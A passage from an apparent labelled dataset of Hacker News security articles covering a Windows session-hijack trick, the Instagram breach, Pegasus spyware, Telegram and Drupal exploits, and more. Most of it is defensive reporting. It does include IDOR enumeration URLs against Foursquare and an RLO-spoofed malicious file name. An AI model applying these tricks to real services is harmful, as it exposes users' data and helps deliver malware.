Korznikov successfully tested the flaw on the newest Windows 10, Windows 7, Windows Server 2008 and Windows Server 2012 R2, though another researcher confirmed on Twitter that the flaw works on every Windows version, even if the workstation is locked.

While Microsoft does not deem it to be a security vulnerability and some experts argued that a Windows user with administrative permissions can do anything, Korznikov explained a simple attack scenario to explain how a malicious insider can easily misuse this flaw:
""Some bank employee have access to the billing system and its credentials to log in. One day, he comes to work, logging into the billing system and start to work. At lunchtime, he locks his workstation and goes out for lunch. Meanwhile, the system administrator gets to can use this exploit to access employee's workstation.""
""According to the bank's policy, administrator's account should not have access to the billing system, but with a couple of built-in commands in windows, this system administrator will hijack employee's desktop which he left locked. From now, a sysadmin can perform malicious actions in billing system as billing employee account.""
Well, no doubt, alternatively an attacker can also dump out system memory to retrieve users' passwords in plaintext, but this is a long and complicated process compared to just running tscon.exe with a session number without leaving any trace and using any external tool.

The issue has been known to Microsoft since last six years, so it's likely the company doesn't consider it a security flaw as it requires local admin rights on the computer, and deems this is how its operating system is supposed to behave.

",Vulnerability
Shocking! Instagram HACKED! Researcher hacked into Instagram Server and Admin Panel,https://thehackernews.com/2015/12/how-to-hack-instagram.html,"Ever wonder how to hack Instagram or how to hack a facebook account? Well, someone just did it!

But, remember, even responsibly reporting a security vulnerability could end up in taking legal actions against you.

An independent security researcher claims he was threatened by Facebook after he responsibly revealed a series of security vulnerabilities and configuration flaws that allowed him to successfully gained access to sensitive data stored on Instagram servers, including:
Source Code of Instagram website
SSL Certificates and Private Keys for Instagram
Keys used to sign authentication cookies
Personal details of Instagram Users and Employees
Email server credentials
Keys for over a half-dozen critical other functions
However, instead of paying him a reward, Facebook has threatened to sue the researcher of intentionally withholding flaws and information from its team.

Wesley Weinberg, a senior security researcher at Synack, participated in Facebook's bug bounty program and started analyzing Instagram systems after one of his friends hinted him to a potentially vulnerable server located at sensu.instagram.com

The researcher found an RCE (Remote Code Execution) bug in the way it processed users' session cookies that are generally used to remember users' log-in details.
Remote code execution bug was possible due to two weaknesses:
The Sensu-Admin web app running on the server contained a hard-coded Ruby secret token
The host running a version of Ruby (3.x) that was susceptible to code execution via the Ruby session cookie
Exploiting the vulnerability, Weinberg was able to force the server to vomit up a database containing login details, including credentials, of Instagram and Facebook employees.

Although the passwords were encrypted with 'bcrypt', Weinberg was able to crack a dozen of passwords that had been very weak (like changeme, instagram, password) in just a few minutes.

Exposed EVERYTHING including Your Selfies

Weinberg did not stop here. He took a close look at other configuration files he found on the server and discovered that one of the files contained some keys for Amazon Web Services accounts, the cloud computing service used to host Instagram's Sensu setup.

These keys listed 82 Amazon S3 buckets (storage units), but these buckets were unique. He found nothing sensitive in the latest file in that bucket, but when he looked at the older version of the file, he found another key pair that let him read the contents of all 82 buckets.
Weinberg had inadvertently stumbled upon almost EVERYTHING including:
Instagram's source code
SSL certificates and private keys (including for instagram.com and *.instagram.com)
API keys that are used for interacting with other services
Images uploaded by Instagram users
Static content from the instagram.com website
Email server credentials
iOS/Android app signing keys
Other sensitive data
""To say that I had gained access to basically all of Instagram's secret key material would probably be a fair statement,"" Weinberg wrote in his blog. ""With the keys I obtained, I could now easily impersonate Instagram, or any valid user or staff member. While out of scope, I would have easily been able to gain full access to any user's account, [personal] pictures and data.""
Responsible Disclosure, but Facebook Threatens Lawsuit

Weinberg reported his findings to Facebook's security team, but the social media giant was concerned he had accessed private data of its users and employees while uncovering the issues.

Instead of receiving a reward from Facebook for his hard work, Weinberg was unqualified for the bug bounty program by Facebook.

In early December, Weinberg claims his boss Synack CEO, Jay Kaplan, received a scary call from Facebook security chief Alex Stamos regarding the weaknesses Weinberg discovered in Instagram that left Instagram and Facebook users wide open to a devastating attack.

Stamos ""stated that he did not want to have to get Facebook's legal team involved, but that he was not sure if this was something he needed to go to law enforcement over,"" Weinberg wrote in his blog in a section entitled 'Threats and Intimidation.'

In response, Stamos issued a statement, saying he ""did not threaten legal action against Synack or [Weinberg] nor did [he] ask for [Weinberg] to be fired.""

Stamos said he only told Kaplan to ""keep this out of the hands of the lawyers on both sides.""
""Condoning researchers going well above and beyond what is necessary to find and fix critical issues would create a precedent that could be used by those aiming to violate the privacy of our users, and such behavior by legitimate security researchers puts the future of paid bug bounties at risk,"" Stamos added.

Facebook Responds

After the original publication by the researcher, Facebook issued its response, saying the claims are false and that Weinberg was never told not to publish his findings, rather only asked not to disclose the non-public information he accessed.

The social media giant confirmed the existence of the remote code execution bug in the sensu.instagram.com domain and promised a bug bounty of $2,500 as a reward to Weinberg and his friend who initially hinted that the server was openly accessible.

However, the other vulnerabilities that allowed Weinberg to gain access to sensitive data were not qualified, with Facebook saying he violated user privacy while accessing the data.

Here's the full statement by Facebook:

We are strong advocates of the security researcher community and have built positive relationships with thousands of people through our bug bounty program. These interactions must include trust, however, and that includes reporting the details of bugs that are found and not using them to access private information in an unauthorized manner. In this case, the researcher intentionally withheld bugs and information from our team and went far beyond the guidelines of our program to pull private, non-user data from internal systems.
We paid him for his initial bug report based on the quality, even though he was not the first to report it, but we didn't pay for the subsequent information that he had withheld. At no point did we say he could not publish his findings — we asked that he refrain from disclosing the non-public information he accessed in violation of our program guidelines. We remain firmly committed to paying for high quality research and helping the community learn from researchers' hard work.

",Vulnerability
Google Chrome blocks access to Twitpic for Malware risk,https://thehackernews.com/2012/12/google-chrome-blocks-access-to-twitpic.html,"Suddenly today Google Chrome start detecting Twitpic.com as malware threat. Twitpic is one of the most popular website for Sharing photos and videos on Twitter. Twitpic denies and said that there is no malware on the website and is trying to contact Google.
We also notice that, Twitter profiles and pages with Twitpic URL in tweets are also blocked curretly by Chrome. Many people also complaining about this on Google Help forum.

An official statement from Twitpic via tweet,""Working to fix the google chrome malware notice when visiting Twitpic.com as this is not true or the case, trying to contact google"".

Google's Safe Browsing Diagnostic page for twitpic.com saying, ""Site is listed as suspicious - visiting this web site may harm your computer. Of the 12029 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2012-12-30, and suspicious content was never found on this site within the past 90 days.""

Also Google report said,""No, this site has not hosted malicious software over the past 90 days. In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.""

There are no further information yet available, we will update you soon !

",Malware
Watch Out for Malware If You're Interested in North Korean Missile Program,https://thehackernews.com/2017/07/north-korea-missile-malware.html,"If you hold an interest in the North Korean Missile Program and are one of those curious to know capabilities of the recently tested North Korean long-range missile than you could be a target of a new malware campaign.

North Korea claims to have conducted the first test of an intercontinental ballistic missile (ICBM), the Hwasong-14, on 3rd July, and US officials believe the country may have fired a brand-new missile that has not been seen before.

Now, just a day after the test missile launch, hackers have started utilizing the news to target people interested in North Korean missile arsenal that has progressed over the decades from crude artillery rockets to testing what the country claims long-range missiles that could strike targets in the United States.

Security researchers at Talos Intelligence have discovered a new malware campaign that started on 4th July to target victims with KONNI, an unknown Remote Access Trojan (RAT) that has been in use for over three years.

The KONNI malware is a Remote Access Trojan designed to steal files, record keystrokes, perform screenshots, get the system information, including hostname, IP address, username, OS version and installed software, as well as execute malicious code on the infected computer.

How Does the KONNI Malware Work?

The hackers use an email attachment as the initial infection vector to deliver the Trojan through an executable file, which when opened displays an MS Office document that disguised as an article about the test missile launch.



However, the content of the document is copy/pasted from an article published on July 3rd by South Korean Yonhap News Agency.

In reality, the malicious executable drops two different versions of KONNI: event.dll and errorevent.dll.

On 64-bit versions of Windows, both binaries are dropped, while just errorevent.dll is dropped on 32-bit versions of Windows.

The dropped malware is then immediately executed to ""ensure that the malware persists and is executed on rebooting the compromised system,"" the researchers say.

C&C Server Disguises as a Legitimate Climbing Club Website

The malware uses a new Command and Control server hosted on a website that disguises as a legitimate climbing club, but the site does not actually contain any real text, but the default text of the CMS (Content Management System).

The C&C traffic of the malware also takes place as ""HTTP post requests to web pages hosted as /weget/download.php, /weget/uploadtm.php or /weget/upload.php on the domain itself.""

In addition, the website also contains a contact section with an address in USA, but the map below the address points to a location in Seoul, South Korea.
""The threat actors associated with KONNI typically use decoy documents relating to North Korea, and this campaign is no exception. However, in contrast to the convincing decoy document lifted from a third party, the content of the decoy website hosted on the CnC server does not look legitimate,"" the researchers concluded.
""Nevertheless, this threat actor continues to remain active and continues to develop updated versions of their malware. Organizations which may have an interest in the contents of this decoy document and that used in previous campaigns should ensure that they are adequately protected against this and subsequent campaigns.""
So, my advice for users to remain protected from such malware is always be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source.

Additionally, keep your systems and antivirus updated to protect against any latest threat.

",Malware
Widespread Instagram Hack Locking Users Out of Their Accounts,https://thehackernews.com/2018/08/hack-instagram-accounts.html,"Instagram has been hit by a widespread hacking campaign that appears to stem from Russia and have affected hundreds of users over the past week, leaving them locked out of their accounts.

A growing number of Instagram users are taking to social media, including Twitter and Reddit, to report a mysterious hack which involves locking them out of their account with their email addresses changed to .ru domains.

According to victims, their account names, profile pictures, passwords, email addresses associated with their Instagram accounts, and even connected Facebook accounts are being changed in the attack.

Many of the affected Instagram users are also complaining about their profile photos replaced with stills from popular films, including Despicable Me 3 and Pirates of the Caribbean.

Although it is still unknown who is behind the widespread hack of Instagram accounts, the use of the email addresses originating from Russian email provider mail.ru may indicate a Russian hacker or hacking group is behind the attack, or perhaps hackers pretending to be from Russia.

First spotted by Mashable, the hack even affected Instagram users with two-factor authentication (2FA) enabled, as at least one user told Mashable that he was using 2FA, but it did nothing to stop his account from being hacked. However, it is currently unconfirmed.
In response to the report, Instagram published a blog post saying that the company continues to investigate the issue and that it has ""dedicated teams helping people to secure their accounts.""
""We are aware that some people are having difficulty accessing their Instagram accounts,"" Instagram says, pointing users to its guidance on hacked accounts to help keep their account secure.
The company advises Instagram users to keep a secure password with at least six numbers and/or letters, enable 2FA for additional security, and to revoke any suspicious third-party app that might have access to their accounts.

Instagram currently relies on text messages for two-factor authentication, which is believed to be less secure than other app-based 2FA methods, but the Facebook-owned company says it is working on improving its 2FA settings.

However, since the unknown technique being used by attackers to hack Instagram accounts is still unaddressed, there's nothing much you can do if the suspected loophole can also bypass two-factor authentication.

The motive behind the attacks is still unknown, but it appears that the attacks on Instagram are still happening at the time of writing.

For more information, users are recommended to visit the Instagram Help Centre dedicated to hacked accounts, which includes security tips as well as steps they can take to restore their account.
",Cyber_Attack
Facebook Collected Your Android Call History and SMS Data For Years,https://thehackernews.com/2018/03/facebook-android-data.html,"Facebook knows a lot about you, your likes and dislikes—it's no surprise.

But do you know, if you have installed Facebook Messenger app on your Android device, there are chances that the company had been collecting your contacts, SMS, and call history data at least until late last year.

A tweet from Dylan McKay, a New Zealand-based programmer, which received more than 38,000 retweets (at the time of writing), showed how he found his year-old data—including complete logs of incoming and outgoing calls and SMS messages—in an archive he downloaded (as a ZIP file) from Facebook.

Facebook was collecting this data on its users from last few years, which was even reported earlier in media, but the story did not get much attention at that time.

Since Facebook had been embroiled into controversies over its data sharing practices after the Cambridge Analytica scandal last week, tweets from McKay went viral and has now fueled the never-ending privacy debate.

A Facebook spokesperson explained, since almost all social networking sites have been designed to make it easier for users to connect with their friends and family members, Facebook also uploads its users' contacts to offer same.

As Ars reported, in older versions of Android when permissions were a lot less strict, the Facebook app took away contact permission at the time of installation that allowed the company access to call and message data automatically.

Eventually, Google changed the way Android permissions worked in version 16 of its API, making them more clear and granular by informing users whenever any app tries to execute permissions.

However, developers were able to bypass this change, and Facebook continued accessing call and SMS data until Google deprecated version 4.0 of the Android API in October last year.

Even you can check what data the social network has collected on you so far by going to your Facebook's Settings→Download a copy of your Facebook data→Start My Archive.

If you don't want Facebook to store or continuously upload your contacts to its server, you can turn off the continuous uploading setting in the Messenger app. This change will also delete all your previously uploaded contacts.

Facebook users on Apple devices are on the safer side, as iOS has never allowed silent access to call data.

",Data_Breaches
"Mexican Govt. Allegedly Used Spyware Against Journalists, Activists & A Child",https://thehackernews.com/2017/06/mexican-spyware-malware.html,"After the disclosure of sophisticated global espionage and disinformation campaign aimed to discredit enemies of the state, Citizen Lab researchers exposed the dirty game of the Mexican government and its politics.

The report — ""Government Spy: Systematic monitoring of journalists and human rights defenders in Mexico"" — published by Citizen Lab today revealed how the Mexican government used advanced spyware tools purchased from the NSO Group to target the country's most prominent human rights lawyers, anti-corruption activists, and journalists.

The NSO Group, an Israel-based company that produces the most advanced mobile spyware on the planet, sold the tool to governments with an explicit agreement that it should be used only to fight terrorists or criminal groups that have long kidnapped and killed Mexicans.

But, the Mexican government targets include:
Lawyers looking into the case of 43 Students disappeared in September 2014 from the town of Iguala.
Two Mexican most influential journalists.
An American who is representing victims of sexual abuse by the police.
A child, presumably in an attempt to spy on his mother.
""The targets share a basic connection: they have been involved in investigating or working on reports of high-level official corruption, or government involvement in human rights abuses,"" the report says.
According to the report, the purchase of the NSO Group's exploit ""has been documented by at least three units in Mexico:
the National Defense Secretariat (SEDENA)
the Attorney General's Office (PGR)
the National Security and Investigation Center (CISEN)
Since 2011, the above three Mexican federal agencies have purchased nearly $80 Million worth of spyware from the NSO group.

The surveillance tool in question is the infamous mobile spyware 'Pegasus' that was also used in targeted cyber attacks against human rights activists in the United Arab Emirates last year.

Pegasus is one of the NSO group's most advanced mobile spyware tool that can infiltrate Android, as well as iPhones to monitor calls, texts, email, contacts, and calendars, as well as use the phone's microphone and camera for surveillance, turning a target's smartphone into a sophisticated bugging device.

According to the report, the targets had received over 76 messages with links to the Pegasus exploit along with uniquely crafted social engineering messages, ""troubling personal and sexual taunts, messages impersonating official communications by the Embassy of the United States in Mexico, fake AMBER Alerts, warnings of kidnappings, and other threats.""

Once the victims open the link, Pegasus would then get downloaded onto their smartphones, turning the target's smartphone into a digital spying tool, which is in the pocket of victims, but fully under the control of the operator.
The malware allows the attacker to extract an incredible amount of data stored in files, contacts, messages, and emails and then forward them to a hidden server. It also takes control of the smartphone's microphone and camera — all without users' knowledge.

Among those targeted by the government include:

Activists with the Centro Miguel Agustín Pro Juárez for Human Rights (Centro PRODH)
Members of the Mexican Institute for Competitiveness (IMCO)
TV personality and investigative journalist Carmen Aristegui, along with her son Emilio Aristegui (a teenager)
Other journalists working for the Mexican non-profit Against Corruption and Impunity
TV network Televisa anchor Carlos Loret de Mola


A majority of the infection attempts on victims were recorded under two separate events: in August 2015 and between April 2016 and July 2016.

The report asserts that all evidence points towards the Mexican government which itself is behind the cyber espionage.

",Malware
"""4chan Hacked"", Most Popular Image-Bulletin Board Compromised",https://thehackernews.com/2014/04/4chan-Hacked-Image-Bulletin-Board.html,"The founder of 4chan, Christopher Poole, aka ""moot"" has confirmed few hours ago, in a blog post that the popular image-based bulletin board was hacked.

The attacker gained access to the administrative functions and successfully hacked into one of 4chan's database by exploiting a website's software vulnerability last week. The motive behind the hack was to expose the posting habits of a specific user the attacker didn't like, moot wrote.

It is believed that the software vulnerability allowed the attacker to hack into only the image-board moderation panels, and some tables in the 4chan back-end database. According to the blog post, the way hacker extracted the information from its database, 4chan knows the ""detailed logs of what was accessed"", which indicate that the ""primarily moderator account names"" and their ""credentials"" were targeted and compromised by the hacker.
""Due to the way the intruder extracted information from the database, we have detailed logs of what was accessed. The logs indicate that primarily moderator account names and credentials were targeted,"" reads the blog post.
The hacker was able to access the Pass credentials of three 4chan Pass (paid account without CAPTCHAs system) users, who have been notified by the company shortly after the discovery of the attack and offered refunds along with the lifetime Passes.

The founder of the 4chan assured its users that their financial information has not been compromised in the attack as 4chan doesn't process any payment information and all the payment information is ""processed securely"" by the Stripe.

After 4chan aware of this software vulnerability exploited by the hacker, it was patched quickly and 4chan assured its users that they continue to review its software and systems to prevent future attacks and breaches.

A week ago, Moderators of Social-sharing website Reddit were under attack after being accused of censoring posted links containing words like ""National Security Agency,"" ""Edward Snowden"" and even ""Bitcoin"" on the website's subreddit r/technology.

The Reddit moderators have lost their focus of what they were there to do. Their job is to moderate effectively, but this secret censorship is a ""disaster"" as it lost the transparency between the user and the service.

4chan apologized for the inconvenience caused to its users, but this is not first time hacker targeted 4chan. Back in June 2012, the hacker UGNazi changed the DNS for 4chan and redirected its visitors to UGNazis Twitter account.

",Data_Breaches
Foursquare vulnerability that exposes 45 million users' email addresses,https://thehackernews.com/2014/01/foursquare-vulnerability-that-exposes.html,"A location based Social Networking platform with 45 million users,'Foursquare' was vulnerable to the primary email address disclosed.

Foursquare is a Smartphone application that gives you details of nearby cafes, bars, shops, parks using GPS location and also tells about your friends nearby.

According to a Penetration tester and hacker 'Jamal Eddine', an attacker can extract email addresses of all 45 million users just by using a few lines of scripting tool.

Basically the flaw exists in the Invitation system of the Foursquare app. While testing the app, he found that invitation received on the recipient's end actually disclosing the sender's email address, as shown above.

Invitation URL:
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=64761059&sig=mmlx96RwGrQ2fJAg4OWZhAWnDvc%3D
Where 'uid' parameter represents the sender's profile ID.

Hacker noticed that the parameter in the Invitation URL can be modified in order to spoof the sender profile i.e. Just by modifying the value of 'uid' parameter, one can see the email ID of the respective user.

If someone is a good programmer, then dumping the complete database won't be a difficult task.
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=35
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=60
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=65
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=4444
And so forth...
The same question still persist that what can be done if someone knows my name and my email id? Many of us use same mail account on all of the social networking sites i.e. Primary email address, and if your personal email address gets leaked from any of the website, someone can start sending you spam, malware or phishing attempts.

I think you don't want to be phished by any hacking group like Syrian Electronic hacker or this information can easily aid other cyber attacks.

In July, 2013, Similar vulnerability was reported on Facebook, discloses the primary email address of any Facebook user to hackers and spammers.

As a responsible bug hunter, he reported the flaw to Foursquare's Security Team, and they have finally fixed the issue.

",Vulnerability
Hackers Exploit 'Telegram Messenger' Zero-Day Flaw to Spread Malware,https://thehackernews.com/2018/02/hackers-exploit-telegram-messenger-zero.html,"A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash.

The Telegram vulnerability was uncovered by security researcher Alexey Firsh from Kaspersky Lab last October and affects only the Windows client of Telegram messaging software.

The flaw has actively been exploited in the wild since at least March 2017 by attackers who tricked victims into downloading malicious software onto their PCs that used their CPU power to mine cryptocurrencies or serve as a backdoor for attackers to remotely control the affected machine, according to a blogpost on Securelist.

Here's How Telegram Vulnerability Works

The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right to left, like Arabic or Hebrew.

According to Kaspersky Lab, the malware creators used a hidden RLO Unicode character in the file name that reversed the order of the characters, thus renaming the file itself, and send it to Telegram users.

For example, when an attacker sends a file named ""photo_high_re*U+202E*gnp.js"" in a message to a Telegram user, the file's name rendered on the users' screen flipping the last part.

Therefore, the Telegram user will see an incoming PNG image file (as shown in the below image) instead of a JavaScript file, misleading into downloading malicious files disguised as the image.

""As a result, users downloaded hidden malware which was then installed on their computers,"" Kaspersky says in its press release published today.

Kaspersky Lab reported the vulnerability to Telegram and the company has since patched the vulnerability in its products, as the Russian security firm said: ""at the time of publication, the zero-day flaw has not since been observed in messenger's products.""

Hackers Used Telegram to Infect PCs with Cryptocurrency Miners
During the analysis, Kaspersky researchers found several scenarios of zero-day exploitation in the wild by threat actors. Primarily, the flaw was actively exploited to deliver cryptocurrency mining malware, which uses the victim's PC computing power to mine different types of cryptocurrency including Monero, Zcash, Fantomcoin, and others.

While analyzing the servers of malicious actors, the researchers also found archives containing a Telegram's local cache that had been stolen from victims.

In another case, cybercriminals successfully exploited the vulnerability to install a backdoor trojan that used the Telegram API as a command and control protocol, allowing hackers to gain remote access to the victim's computer.

""After installation, it started to operate in a silent mode, which allowed the threat actor to remain unnoticed in the network and execute different commands including the further installation of spyware tools,"" the firm added.

Firsh believes the zero-day vulnerability was exploited only by Russian cybercriminals, as ""all the exploitation cases that [the researchers] detected occurring in Russia,"" and a lot of artifacts pointed towards Russian cybercriminals.

The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources.

The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.

",Malware
Hackers Exploiting Drupal Vulnerability to Inject Cryptocurrency Miners,https://thehackernews.com/2018/04/drupal-cryptocurrency-hacking.html,"The Drupal vulnerability (CVE-2018-7600), dubbed Drupalgeddon2 that could allow attackers to completely take over vulnerable websites has now been exploited in the wild to deliver malware backdoors and cryptocurrency miners.

Drupalgeddon2, a highly critical remote code execution vulnerability discovered two weeks ago in Drupal content management system software, was recently patched by the company without releasing its technical details.

However, just a day after security researchers at Check Point and Dofinity published complete details, a Drupalgeddon2 proof-of-concept (PoC) exploit code was made widely available, and large-scale Internet scanning and exploitation attempts followed.

At the time, no incident of targets being hacked was reported, but over the weekend, several security firms noticed that attackers have now started exploiting the vulnerability to install cryptocurrency miner and other malware on vulnerable websites.

The SANS Internet Storm Center spotted some attacks to deliver a cryptocurrency miner, a PHP backdoor, and an IRC bot written in Perl.
The simple PHP backdoor allows attackers to upload additional files (backdoors) to the targeted server.

A thread on SANS ISC Infosec forums also suggests that Drupalgeddon2 is being used to install the XMRig Monero miner on vulnerable websites. Besides the actual XMRig miner, the malicious script also downloads additional files, including a script to kill competing miners on the targeted system.

Researchers from security firm Volexity have also observed a wide variety of actions and payloads attempted via the public exploit for Drupalgeddon2 to deliver malicious scripts that install backdoors and cryptocurrency miners on the vulnerable sites.

The researchers believed that one of the Monero miner campaigns, delivering XMRig, is associated with a criminal group that exploited the vulnerability (CVE-2017-10271) in Oracle WebLogic servers to deliver cryptocurrency miner malware shortly after its PoC exploit code was made public in late 2017.
Volexity identified some of the group's wallets that had stored a total of 544.74 XMR (Monero coin), which is equivalent to almost $105,567.

As we reported in our previous article, Imperva stats showed that 90% of the Drupalgeddon2 attacks are simply IP scanning in an attempt to find vulnerable systems, 3% are backdoor infection attempts, and 2% are attempting to run crypto miners on the targets.

For those unaware, Drupalgeddon2 allows an unauthenticated, remote attacker to execute malicious code on default or common Drupal installations under the privileges of the user, affecting all versions of Drupal from 6 to 8.

Therefore, site admins were highly recommended to patch the issue by updating their CMS to Drupal 7.58 or Drupal 8.5.1 as soon as possible.
In its advisory, Drupal warned that ""sites not patched by Wednesday, 2018-04-11 may be compromised"" and ""simply updating Drupal will not remove backdoors or fix compromised sites.""
Moreover,
""If you find that your site is already patched, but you didn't do it, that can be a symptom that the site was compromised. Some attacks in the past have applied the patch as a way to guarantee that only that attacker is in control of the site.""
Here's a guide Drupal team suggest to follow if your website has been hacked.

",Cyber_Attack
TikTok Bug Could Have Exposed Users' Profile Data and Phone Numbers,https://thehackernews.com/2021/01/tiktok-bug-could-have-exposed-users.html,"Cybersecurity researchers on Tuesday disclosed a now-patched security flaw in TikTok that could have potentially enabled an attacker to build a database of the app's users and their associated phone numbers for future malicious activity.
Although this flaw only impacts those users who have linked a phone number with their account or logged in with a phone number, a successful exploitation of the vulnerability could have resulted in data leakage and privacy violation, Check Point Research said in an analysis shared with The Hacker News.
TikTok has deployed a fix to address the shortcoming following responsible disclosure from Check Point researchers.
The newly discovered bug resides in TikTok's ""Find friends"" feature that allows users to sync their contacts with the service to identify potential people to follow.
The contacts are uploaded to TikTok via an HTTP request in the form of a list that consists of hashed contact names and the corresponding phone numbers.
The app, in the next step, sends out a second HTTP request that retrieves the TikTok profiles connected to the phone numbers sent in the previous request. This response includes profile names, phone numbers, photos, and other profile related information.
While the upload and sync contact requests are limited to 500 contacts per day, per user, and per device, Check Point researchers found a way to get around the limitation by getting hold of the device identifier, session cookies set by the server, a unique token called ""X-Tt-Token"" that's set when logging into the account with SMS and simulate the whole process from an emulator running Android 6.0.1.
It's worth noting that in order to request data from the TikTok application server, the HTTP requests must include X-Gorgon and X-Khronos headers for server verification, which ensures that the messages are not tampered with.
But by modifying the HTTP requests — the number of contacts the attacker wants to sync — and re-signing them with an updated message signature, the flaw made it possible to automate the procedure of uploading and syncing contacts on a large scale and create a database of linked accounts and their connected phone numbers.
This is far from the first time the popular video-sharing app has been found to contain security weaknesses.
In January 2020, Check Point researchers discovered multiple vulnerabilities within the TikTok app that could have been exploited to get hold of user accounts and manipulate their content, including deleting videos, uploading unauthorized videos, making private ""hidden"" videos public, and revealing personal information saved on the account.
Then in April, security researchers Talal Haj Bakry and Tommy Mysk exposed flaws in TikTok that made it possible for attackers to display forged videos, including those from verified accounts, by redirecting the app to a fake server hosting a collection of fake videos.
Eventually, TikTok launched a bug bounty partnership with HackerOne last October to help users or security professionals flag technical concerns with the platform. Critical vulnerabilities (CVSS score 9 - 10) are eligible for payouts between $6,900 to $14,800, according to the program.
""Our primary motivation, this time around, was to explore the privacy of TikTok,"" said Oded Vanunu, head of products vulnerabilities research at Check Point. ""We were curious if the TikTok platform could be used to gain private user data. It turns out that the answer was yes, as we were able to bypass multiple protection mechanisms of TikTok that lead to privacy violation.""
""An attacker with that degree of sensitive information could perform a range of malicious activities, such as spear phishing or other criminal actions.""

",Cyber_Attack
Hackers Exploit Recently Disclosed Microsoft Office Bug to Backdoor PCs,https://thehackernews.com/2017/11/cobalt-strike-malware.html,"A recently disclosed severe 17-year-old vulnerability in Microsoft Office that lets hackers install malware on targeted computers without user interaction is now being exploited in the wild to distribute a backdoor malware.

First spotted by researchers at security firm Fortinet, the malware has been dubbed Cobalt because it uses a component from a powerful and legitimate penetration testing tool, called Cobalt Strike.

Cobalt Strike is a form of software developed for Red Team Operations and Adversary Simulations for accessing covert channels of a system.

The vulnerability (CVE-2017-11882) that Cobalt malware utilizes to deliver the backdoor is a memory-corruption issue that allows unauthenticated, remote attackers to execute malicious code on the targeted system when opened a malicious file and potentially take full control over it.

This vulnerability impacts all versions of Microsoft Office and Windows operating system, though Microsoft has already released a patch update to address the issue. You can read more details and impact of the vulnerability in our previous article.
Since cybercriminals are quite quick in taking advantage of newly disclosed vulnerabilities, the threat actors started delivering Cobalt malware using the CVE-2017-11882 exploit via spam just a few days after its disclosure.

According to Fortinet researchers, the Cobalt malware is delivered through spam emails, which disguised as a notification from Visa regarding rule changes in Russia, with an attachment that includes a malicious RTF document, as shown.

The email also contains a password-protected archive with login credentials provided in the email to unlock it in order to trick victims into believing that the email came from the legitimate financial service.
""This is [also] to prevent auto-analysis systems from extracting the malicious files for sandboxing and detection,"" Fortinet researchers Jasper Manual and Joie Salvio wrote.
""Since a copy of the malicious document is out in the open... so it's possible that this is only to trick the user into thinking that securities are in place, which is something one would expect in an email from a widely used financial service.""
Once the document is opened, the user has displayed a plain document with the words ""Enable Editing."" However, a PowerShell script silently executes in the background, which eventually downloads a Cobalt Strike client to take control of the victim's machine.

With control of the victim's system, hackers can ""initiate lateral movement procedures in the network by executing a wide array of commands,"" the researchers said.

According to the researchers, cybercriminals are always in look for such vulnerabilities to exploit them for their malware campaigns, and due to ignoring software updates, a significant number of users out there left their systems unpatched, making them vulnerable to such attacks.

The best way to protect your computer against the Cobalt malware attack is to download the patch for the CVE-2017-11882 vulnerability and update your systems immediately.

",Cyber_Attack
iOS 13 Bug Lets 3rd-Party Keyboards Gain 'Full Access' — Even When You Deny,https://thehackernews.com/2019/09/ios-13-keyboard-apps.html,"Following the release of iOS 13 and iPadOS earlier this week, Apple has issued an advisory warning iPhone and iPad users of an unpatched security bug impacting third-party keyboard apps.

On iOS, third-party keyboard extensions can run entirely standalone without access to external services and thus, are forbidden from storing what you type unless you grant ""full access"" permissions to enable some additional features through network access.

However, in the brief security advisory, Apple says that an unpatched issue in iOS 13 and iPadOS could allow third-party keyboard apps to grant themselves ""full access"" permission to access what you are typing—even if you deny this permission request in the first place.

It should be noted that the iOS 13 bug doesn't affect Apple's built-in keyboards or third-party keyboards that don't make use of full access.
Instead, the bug only impacts users who have third-party keyboard apps—such as popular Gboard, Grammarly, and Swiftkey—installed on their iPhones or iPads, which are designed to request full access from users.

Though having full access allows app developers to capture all keystroke data and everything you type, it's worth noting that likely no reputable third-party keyboard apps would by default abuse this issue.

Even if that doesn't satisfy you, and you want to check if any of the installed third-party keyboards on your iPhone or iPad has enabled full access without your knowledge by exploiting this bug, you can open the Settings → General → Keyboard → Keyboards.

Apple assured its users that the company is already working on a fix to address this issue, which it plans to release in its upcoming software update.

Until Apple comes up with a fix, you can mitigate this issue by temporarily uninstalling all third-party keyboards from your device just to be on the safer side.

",Vulnerability
LIVE Webinar: Major Lessons to be Learned from Top Cyber Attacks in 2020,https://thehackernews.com/2021/02/live-webinar-major-lessons-to-be.html,"We likely all agree that 2020 was a year we won't soon forget - for many reasons. One area particularly impacted last year was (and continues to be) cybersecurity.
While Internet access allowed many businesses to continue functioning during the COVID-19 stay at home requirements, the unprecedented number of people accessing company assets remotely introduced many new challenges for cybersecurity professionals.
With a history of leveraging societal maladies to their advantage, cyber criminals leverage the confusion and unpreparedness created by the global pandemic in their cyber attacks.
In just the last two months of 2020, several high-profile organizations and government entities were successfully attacked using clever approaches that were overlooked by cybersecurity experts. Making sense of how attacks have changed and what new defensive strategies should be taken is no easy task. Cybersecurity company Cynet will help by reviewing the 2020 high profile attacks in depth and guide cybersecurity professionals for 2021 in an upcoming webinar (register here).
Until then, what high profile attacks are they likely to explore?
The Top 2020 Cyber Attacks
Without enough space to cover all the top attacks in 2020, several significant breaches were predominantly accomplished by new techniques.
SolarWinds
The attack involved hackers compromising the infrastructure of SolarWinds, a company that produces a network and application monitoring platform called Orion. The attackers then used that access to produce and distribute trojanized updates to the software's users, including 425 of the US Fortune 500, the top ten US telecommunications companies, the top five US accounting firms, all branches of the US Military, the Pentagon, and the State Department, as well as hundreds of universities and colleges worldwide.
